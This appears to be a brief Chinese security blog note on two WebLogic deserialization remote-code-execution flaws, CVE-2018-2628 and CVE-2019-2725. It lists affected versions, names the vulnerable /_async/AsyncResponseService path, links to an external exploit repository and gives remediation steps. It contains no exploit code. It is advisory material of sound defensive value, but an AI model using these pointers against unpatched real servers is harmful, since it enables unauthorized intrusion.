简介
WebLogic Server是美国甲骨文（Oracle）公司开发的一款适用于云环境和传统环境的应用服务中间件，确切的说是一个基于JavaEE架构的中间件，它提供了一个现代轻型开发平台，用于开发、集成、部署和管理大型分布式Web应用、网络应用和
数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

%>CVE-2018-2628
Weblogic Server WLS Core Components反序列化命令执行漏洞（CVE-2018-2628），该漏洞通过T3协议触发，可导致未授权的用户在远程服务器执行任意命令。
受影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3网上有很多复现文章，这里不复现了。

https://blog.csdn.net/weixin_45744814/article/details/120229347
漏洞修复
- 关闭或控制T3服务的访问权限
- 更新补丁
CVE-2019-2725
由于在反序列化处理输入信息的过程中存在缺陷，未经授权的攻击者可以发送精心构造的恶意HTTP请求，利用该漏洞获取服务器权限，实现远程代码执行.
影响版本
Oracle WebLogic Server 10.*

通过访问路径/_async/AsyncResponseService
漏洞利用
https://github.com/TopScrew/CVE-2019-2725
漏洞修复
- 打上官方补丁
- 升级本地JDK版本，升级到jdk7u21以上版本可以避免由于java原生类反序列化漏洞造成的RCE
- 配置URL访问资源策略
- 删除不安全文件，删除wls9_async_response.war与wls-wsat.war文件及相关文件夹并重启Weblogic服务
